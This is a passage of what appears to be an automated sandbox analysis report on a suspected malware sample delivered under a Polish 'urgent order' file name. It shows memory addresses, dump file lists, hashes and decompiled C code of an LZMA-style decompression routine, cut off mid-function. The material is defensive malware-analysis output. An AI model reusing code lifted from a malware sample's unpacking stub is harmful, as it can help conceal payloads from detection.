                                                                                              0x0040688a
                                                                                              0x0040688d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040663b
                                                                                              0x0040663b
                                                                                              0x0040663e
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a37
                                                                                              0x00406a3b
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a60
                                                                                              0x00406a67
                                                                                              0x00000000
                                                                                              0x00406a67
                                                                                              0x00406a3d
                                                                                              0x00406a40
                                                                                              0x00406a43
                                                                                              0x00406a46
                                                                                              0x00406a4d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406b28
                                                                                              0x00406b2b
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406762
                                                                                              0x00406764
                                                                                              0x0040676b
                                                                                              0x0040676c
                                                                                              0x0040676e
                                                                                              0x00406771
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406779
                                                                                              0x0040677c
                                                                                              0x0040677f
                                                                                              0x00406781
                                                                                              0x00406783
                                                                                              0x00406783
                                                                                              0x00406784
                                                                                              0x00406787
                                                                                              0x0040678e
                                                                                              0x00406791
                                                                                              0x0040679f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a84
                                                                                              0x00406a84
                                                                                              0x00406a88
                                                                                              0x00406bc0
                                                                                              0x00000000
                                                                                              0x00406bc0
                                                                                              0x00406a8e
                                                                                              0x00406a91
                                                                                              0x00406a94
                                                                                              0x00406a98
                                                                                              0x00406a9b
                                                                                              0x00406aa1
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa6
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067a7
                                                                                              0x004067aa
                                                                                              0x004067e0
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406913
                                                                                              0x00406913
                                                                                              0x00406916
                                                                                              0x00406918
                                                                                              0x00406ba2
                                                                                              0x00000000
                                                                                              0x00406ba2
                                                                                              0x0040691e
                                                                                              0x00406921
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406927
                                                                                              0x0040692b
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x00000000
                                                                                              0x0040692e
                                                                                              0x004067ac
                                                                                              0x004067ae
                                                                                              0x004067b0
                                                                                              0x004067b2
                                                                                              0x004067b5
                                                                                              0x004067b6
                                                                                              0x004067b8
                                                                                              0x004067ba
                                                                                              0x004067bd
                                                                                              0x004067c0
                                                                                              0x004067d6
                                                                                              0x004067db
                                                                                              0x00406813
                                                                                              0x00406813
                                                                                              0x00406817
                                                                                              0x00406843
                                                                                              0x00406845
                                                                                              0x0040684c
                                                                                              0x0040684f
                                                                                              0x00406852
                                                                                              0x00406852
                                                                                              0x00406857
                                                                                              0x00406857
                                                                                              0x00406859
                                                                                              0x0040685c
                                                                                              0x00406863
                                                                                              0x00406866
                                                                                              0x00406893
                                                                                              0x00406893
                                                                                              0x00406896
                                                                                              0x00406899
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x00000000
                                                                                              0x0040690d
                                                                                              0x0040689b
                                                                                              0x004068a1
                                                                                              0x004068a4
                                                                                              0x004068a7
                                                                                              0x004068aa
                                                                                              0x004068ad
                                                                                              0x004068b0
                                                                                              0x004068b3
                                                                                              0x004068b6
                                                                                              0x004068b9
                                                                                              0x004068bc
                                                                                              0x004068d5
                                                                                              0x004068d7
                                                                                              0x004068da
                                                                                              0x004068db
                                                                                              0x004068de
                                                                                              0x004068e0
                                                                                              0x004068e3
                                                                                              0x004068e5
                                                                                              0x004068e7
                                                                                              0x004068ea
                                                                                              0x004068ec
                                                                                              0x004068ef
                                                                                              0x004068f3
                                                                                              0x004068f5
                                                                                              0x004068f5
                                                                                              0x004068f6
                                                                                              0x004068f9
                                                                                              0x004068fc
                                                                                              0x004068be
                                                                                              0x004068be
                                                                                              0x004068c6
                                                                                              0x004068cb
                                                                                              0x004068cd
                                                                                              0x004068d0
                                                                                              0x004068d0
                                                                                              0x004068ff
                                                                                              0x00406906
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00406906
                                                                                              0x00406819
                                                                                              0x0040681c
                                                                                              0x0040681e
                                                                                              0x00406821
                                                                                              0x00406824
                                                                                              0x00406827
                                                                                              0x00406829
                                                                                              0x0040682c
                                                                                              0x0040682f
                                                                                              0x0040682f
                                                                                              0x00406832
                                                                                              0x00406832
                                                                                              0x00406835
                                                                                              0x0040683c
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x0040683c
                                                                                              0x004067c2
                                                                                              0x004067c5
                                                                                              0x004067c7
                                                                                              0x004067ca
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406529
                                                                                              0x00406529
                                                                                              0x0040652d
                                                                                              0x00406b72
                                                                                              0x00000000
                                                                                              0x00406b72
                                                                                              0x00406533
                                                                                              0x00406536
                                                                                              0x00406539
                                                                                              0x0040653c
                                                                                              0x0040653f
                                                                                              0x00406542
                                                                                              0x00406545
                                                                                              0x00406547
                                                                                              0x0040654a
                                                                                              0x0040654d
                                                                                              0x00406550
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066b4
                                                                                              0x004066b4
                                                                                              0x004066b8
                                                                                              0x00406b7e
                                                                                              0x00000000
                                                                                              0x00406b7e
                                                                                              0x004066be
                                                                                              0x004066c1
                                                                                              0x004066c4
                                                                                              0x004066c7
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066cc
                                                                                              0x004066cf
                                                                                              0x004066d2
                                                                                              0x004066d5
                                                                                              0x004066d8
                                                                                              0x004066db
                                                                                              0x004066dc
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066e1
                                                                                              0x004066e4
                                                                                              0x004066e7
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ed
                                                                                              0x004066ef
                                                                                              0x004066ef
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406935
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040693b
                                                                                              0x0040693e
                                                                                              0x00406941
                                                                                              0x00406944
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406949
                                                                                              0x0040694c
                                                                                              0x0040694f
                                                                                              0x00406952
                                                                                              0x00406955
                                                                                              0x00406958
                                                                                              0x00406959
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695e
                                                                                              0x00406961
                                                                                              0x00406964
                                                                                              0x00406967
                                                                                              0x0040696a
                                                                                              0x0040696e
                                                                                              0x00406970
                                                                                              0x00406973
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x00000000
                                                                                              0x004066f2
                                                                                              0x00406973
                                                                                              0x00406ba8
                                                                                              0x00406bca
                                                                                              0x00406bd0
                                                                                              0x00406bd2
                                                                                              0x00406bd9
                                                                                              0x00406bdb
                                                                                              0x00406be2
                                                                                              0x00406be6
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00406bdf
                                                                                              0x00406bdf
                                                                                              0x00000000
                                                                                              0x00406bdf
                                                                                              0x00406a2c
                                                                                              0x00406ab2
                                                                                              0x00406ab8
                                                                                              0x00406abb
                                                                                              0x00406abe
                                                                                              0x00406ac1
                                                                                              0x00406ac4
                                                                                              0x00406ac7
                                                                                              0x00406aca
                                                                                              0x00406acd
                                                                                              0x00406ad3
                                                                                              0x00406aec
                                                                                              0x00406aef
                                                                                              0x00406af2
                                                                                              0x00406af5
                                                                                              0x00406af9
                                                                                              0x00406afb
                                                                                              0x00406afc
                                                                                              0x00406aff
                                                                                              0x00406ad5
                                                                                              0x00406ad5
                                                                                              0x00406add
                                                                                              0x00406ae2
                                                                                              0x00406ae4
                                                                                              0x00406ae7
                                                                                              0x00406ae7
                                                                                              0x00406b09
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00406b09
                                                                                              0x00000000
                                                                                              0x0040697e

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: db4b2f824491321a50731860d46817135270c8e97721ba662834ece50dc26027
                                                                                              • Instruction ID: e89747aace1fce0fcb13a8d80e6f88749465aa03c559881c8099c8d07fdfb4d2
                                                                                              • Opcode Fuzzy Hash: db4b2f824491321a50731860d46817135270c8e97721ba662834ece50dc26027
                                                                                              • Instruction Fuzzy Hash: BE911070E04228CBDF28DF98C8547ADBBB1FB44305F15816ED816BB281C778AA96DF44
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00406690 Relevance: 5.2, APIs: 4, Instructions: 205COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 98%
                                                                                              			E00406690() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M00406BE7))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4)); // executed
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									__ebx = __edx + 1;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
